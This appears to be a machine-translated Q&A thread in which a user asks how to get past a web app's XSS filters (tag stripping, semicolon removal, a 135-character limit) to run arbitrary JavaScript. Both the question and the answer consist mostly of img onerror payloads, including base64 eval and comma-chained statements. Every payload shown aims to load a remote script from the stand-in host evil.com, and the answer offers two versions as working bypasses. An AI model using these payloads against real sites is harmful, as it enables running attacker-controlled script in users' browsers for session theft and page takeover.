0

我发现了一个容易受到 XSS 攻击的 Web 应用程序,并且可以使用img标记运行一些 javascript,但是我使用的方法会破坏页面的其余部分,因为他们正在使用一些过滤器来尝试阻止它。

到目前为止我检测到的过滤器如下:

  • </anythingyouwant>被什么都取代
  • />被什么都取代
  • ;被替换为空格,直到下一个>
  • 135 个字符限制,包括交货方式<img src="." onerror="alert('xss')">

注入<img src="." onerror="alert('xss')">工作正常,但是这些开发人员相当怀疑并希望看到完整的 JavaScript 代码的完整 PoC。是否可以运行任意脚本?

我试过了:

  • <img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">结果:太长,即使是缩短的 URL
  • <script src="//evil.com/myscript" />结果:不能像那样关闭脚本标签,它会被过滤,并通过网络应用程序省略“关闭”标签来破坏页面的其余部分
  • <script src=//evil.com/myscript"></script>结果:被过滤,如上所述破坏页面的其余部分
  • <img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">结果:分号被过滤,破坏网页
  • <img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">结果:我不确定这是否是有效的 js,但它按预期出现在 chromeview page source中,但不能按预期工作

我正在使用 chrome 进行测试,以防万一它以某种方式相关。

4

1 回答 1

1

你列出的安全措施肯定是不够的。我可以想象为您工作的两个示例:

<img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">

或者你的版本用 a,而不是 a ;

<img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">

但我绝对肯定还有很多其他方法可以做到这一点。您还可以查看我在此答案中找到的以下备忘单

于 2018-09-29T14:42:14.687 回答